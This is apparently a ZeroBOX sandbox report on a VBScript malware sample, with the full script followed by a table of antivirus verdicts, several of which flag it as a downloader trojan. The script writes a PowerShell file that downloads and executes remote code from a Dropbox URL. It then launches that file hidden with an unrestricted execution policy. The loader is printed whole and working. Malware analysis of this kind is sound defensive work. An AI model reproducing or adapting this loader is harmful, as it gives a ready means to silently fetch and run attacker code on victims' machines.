Static | ZeroBOX
No static analysis available.
Dim DSFSDF, SSFAFAF
Set DSFSDF = CreateObject("Scripting.FileSystemObject")
Set SSFAFAF = DSFSDF.CreateTextFile("C:\Users\Public\MicrosofttopclayeSH.ps1",True)
WScript.Sleep(5000)
SSFAFAF.WriteLine "i'e'x ((New-Object System.Net.WebClient).DownloadString('https://dl.dropbox.com/s/9r6dz0xby0ha2o0/2_INSTALL.ps1?dl=0'))"
WScript.Sleep(10000)
Set objOutFile=DSFSDF.CreateTextFile("C:\Users\Public\clayeSHv2.vbs",True)
objOutFile.WriteLine "qqqq = ""powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\MicrosofttopclayeSH.ps1"""
objOutFile.WriteLine "set shell = CreateObject(""WScript.Shell"")"
objOutFile.WriteLine "shell.Run qqqq,0"
WScript.Sleep(30000)
FSDFSD = "powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttop1.ps1"
set FFFFD = CreateObject("WScript.Shell")
FFFFD.Run FSDFSD,0
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye VB.Heur2.Downloader.2.94F004FF.Gen
CAT-QuickHeal Clean
McAfee VBS/Downloader.xe
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB.Heur2.Downloader.2.94F004FF.Gen
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB.Heur2.Downloader.2.94F004FF.Gen
Rising Clean
Sophos Clean
Baidu Clean
F-Secure Clean
DrWeb Clean
VIPRE VB.Heur2.Downloader.2.94F004FF.Gen
TrendMicro Clean
McAfee-GW-Edition VBS/Downloader.xe
CMC Clean
Emsisoft VB.Heur2.Downloader.2.94F004FF.Gen (B)
GData VB.Heur2.Downloader.2.94F004FF.Gen
Jiangmin Clean
Avira Clean
MAX malware (ai score=88)
Antiy-AVL Clean
Gridinsoft Suspicious_WebDownload.bot!yf
Xcitium Clean
Arcabit VB.Heur2.Downloader.2.94F004FF.Gen
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
Google Clean
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac VB.Heur2.Downloader.2.94F004FF.Gen
TACHYON Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.